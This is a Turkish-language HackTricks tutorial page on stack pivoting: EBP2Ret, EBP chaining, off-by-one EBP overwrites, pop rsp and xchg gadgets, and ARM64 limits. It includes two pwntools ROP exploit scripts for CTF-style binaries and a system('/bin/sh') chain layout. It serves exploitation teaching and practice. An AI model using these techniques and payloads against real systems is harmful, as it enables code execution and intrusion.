9.9 KiB
Stack Pivoting - EBP2Ret - EBP chaining
{{#include ../../banners/hacktricks-training.md}}
Temel Bilgiler
Bu teknik, Base Pointer (EBP)'yi manipüle etme yeteneğini kullanarak, EBP kaydının dikkatli kullanımı ve leave; ret talimat dizisi aracılığıyla birden fazla işlevin yürütülmesini zincirleme yeteneğini istismar eder.
Hatırlatmak gerekirse, leave temelde şunu ifade eder:
mov ebp, esp
pop ebp
ret
Ve EBP yığında EIP'den önce olduğu için, yığını kontrol ederek bunu kontrol etmek mümkündür.
EBP2Ret
Bu teknik, EBP kaydını değiştirebildiğiniz ancak EIP kaydını doğrudan değiştirme yolunuzun olmadığı durumlarda özellikle faydalıdır. Fonksiyonların çalışmayı bitirdiğinde gösterdiği davranışı kullanır.
Eğer fvuln'in çalışması sırasında, yığında shellcode'unuzun adresine işaret eden bir sahte EBP enjekte etmeyi başarırsanız (artı pop işlemi için 4 byte ekleyerek), EIP'yi dolaylı olarak kontrol edebilirsiniz. fvuln döndüğünde, ESP bu hazırlanmış konuma ayarlanır ve sonraki pop işlemi ESP'yi 4 azaltır, etkili bir şekilde orada saldırgan tarafından saklanan bir adrese işaret eder.
2 adresi bilmeniz gerektiğine dikkat edin: ESP'nin gideceği adres ve ESP tarafından işaret edilen adresi yazmanız gereken yer.
Exploit Yapısı
Öncelikle, rastgele veri/adres yazabileceğiniz bir adresi bilmeniz gerekir. ESP buraya işaret edecek ve ilk ret çalıştırılacak.
Sonra, rastgele kodu çalıştıracak ret tarafından kullanılan adresi bilmeniz gerekir. Şunları kullanabilirsiniz:
- Geçerli bir ONE_GADGET adresi.
system()adresi, ardından 4 gereksiz byte ve"/bin/sh"adresi (x86 bitleri).jump esp;gadget'ının adresi (ret2esp) ardından çalıştırılacak shellcode.- Bazı ROP zincirleri.
Kontrollü bellek kısmındaki bu adreslerden önce 4 byte bulunması gerektiğini unutmayın, çünkü pop kısmı leave talimatının bir parçasıdır. Bu 4B'yi, ikinci sahte EBP ayarlamak ve yürütmeyi kontrol etmeye devam etmek için kötüye kullanmak mümkündür.
Off-By-One Exploit
Bu tekniğin "Off-By-One Exploit" olarak bilinen özel bir varyantı vardır. EBP'nin en az anlamlı byte'ını yalnızca değiştirebildiğiniz durumlarda kullanılır. Böyle bir durumda, ret ile atlanacak adresi saklayan bellek konumu, EBP ile ilk üç byte'ı paylaşmalıdır, bu da daha kısıtlı koşullarla benzer bir manipülasyona izin verir.
Genellikle, mümkün olduğunca uzağa atlamak için byte 0x00 değiştirilir.
Ayrıca, yığında bir RET sled kullanmak ve gerçek ROP zincirini en sona koymak yaygındır, böylece yeni ESP'nin RET SLED'in içine işaret etmesi ve nihai ROP zincirinin çalıştırılması daha olası hale gelir.
EBP Zincirleme
Bu nedenle, yığın üzerindeki EBP girişine kontrol edilen bir adres koyarak ve EIP'de leave; ret adresi koyarak, ESP'yi yığın üzerindeki kontrol edilen EBP adresine taşımak mümkündür.
Artık, ESP istenen bir adrese işaret ediyor ve yürütülecek bir sonraki talimat bir RET. Bunu kötüye kullanmak için, kontrol edilen ESP yerine şunları yerleştirmek mümkündür:
&(next fake EBP)->leavetalimatındanpop ebpnedeniyle yeni EBP'yi yüklesystem()->rettarafından çağrılır&(leave;ret)-> sistem sona erdikten sonra çağrılır, ESP'yi sahte EBP'ye taşır ve tekrar başlar&("/bin/sh")->systemiçin parametre
Temelde bu şekilde, programın akışını kontrol etmek için birkaç sahte EBP'yi zincirlemek mümkündür.
Bu, ret2lib gibidir, ancak görünür bir faydası olmadan daha karmaşıktır, ancak bazı kenar durumlarında ilginç olabilir.
Ayrıca, bu tekniği kullanan bir challenge örneği burada bulunmaktadır ve bir stack leak ile kazanan bir fonksiyonu çağırır. Bu sayfanın son yükü:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP)
payload += flat(
buffer, # Load leak address in RBP
LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
EBP kullanılmayabilir
As explained in this post, eğer bir ikili bazı optimizasyonlarla derlenmişse, EBP asla ESP'yi kontrol edemez, bu nedenle EBP'yi kontrol ederek çalışan herhangi bir istismar temelde başarısız olur çünkü gerçek bir etkisi yoktur.
Bu, prolog ve epilog değişiklikleri ikili optimize edildiğinde gerçekleşir.
- Optimize edilmemiş:
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
- Optimize edilmiş:
push %ebx # save ebx
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore ebx
ret # return
RSP'yi Kontrol Etmenin Diğer Yolları
pop rsp aracı
Bu sayfada bu tekniği kullanan bir örnek bulabilirsiniz. Bu zorluk için 2 belirli argümanla bir fonksiyon çağrılması gerekiyordu ve bir pop rsp aracı vardı ve stack'ten bir leak vardı:
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
xchg <reg>, rsp gadget
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
jmp esp
ret2esp tekniğini burada kontrol edin:
{{#ref}} ../rop-return-oriented-programing/ret2esp-ret2reg.md {{#endref}}
Referanslar ve Diğer Örnekler
- https://bananamafia.dev/post/binary-rop-stackpivot/
- https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting
- https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html
- 64 bit, bir ret sled ile başlayan bir rop zinciri ile bir off by one istismarı
- https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html
- 64 bit, no relro, canary, nx ve pie. Program, yığın veya pie için bir leak ve bir qword için bir WWW sağlar. Önce yığın leak'ini alın ve pie leak'ini almak için WWW'yi kullanın. Ardından,
.fini_arraygirişlerini kötüye kullanarak sonsuz bir döngü oluşturmak için WWW'yi kullanın +__libc_csu_finiçağrısı (daha fazla bilgi burada). Bu "sonsuz" yazmayı kötüye kullanarak, .bss içinde bir ROP zinciri yazılır ve RBP ile pivotlama ile çağrılır.
ARM64
ARM64'te, fonksiyonların prologları ve epilogları SP kaydını yığında saklamaz ve geri almaz. Dahası, RET komutu SP tarafından işaret edilen adrese dönmez, ancak x30 içindeki adrese döner.
Bu nedenle, varsayılan olarak, sadece epilogu kötüye kullanarak SP kaydını kontrol edemezsiniz yığın içindeki bazı verileri üzerine yazarak. Ve SP'yi kontrol etmeyi başarırsanız bile, x30 kaydını kontrol etmenin bir yoluna ihtiyacınız olacaktır.
- prolog
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP çerçeve kaydına işaret eder
- epilog
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
Caution
ARM64'te yığın pivotlamaya benzer bir şey gerçekleştirme yolu,
SP'yi kontrol edebilmek (SP'ye geçirilen bir kaydı kontrol ederek veya bir nedenle SP'nin adresini yığından alması ve bir taşma yaşanması durumunda) ve ardından epilogu kötüye kullanarak kontrollü birSP'denx30kaydını yüklemek veRETile ona dönmektir.
Ayrıca, aşağıdaki sayfada Ret2esp'in ARM64'teki eşdeğerini görebilirsiniz:
{{#ref}} ../rop-return-oriented-programing/ret2esp-ret2reg.md {{#endref}}
{{#include ../../banners/hacktricks-training.md}}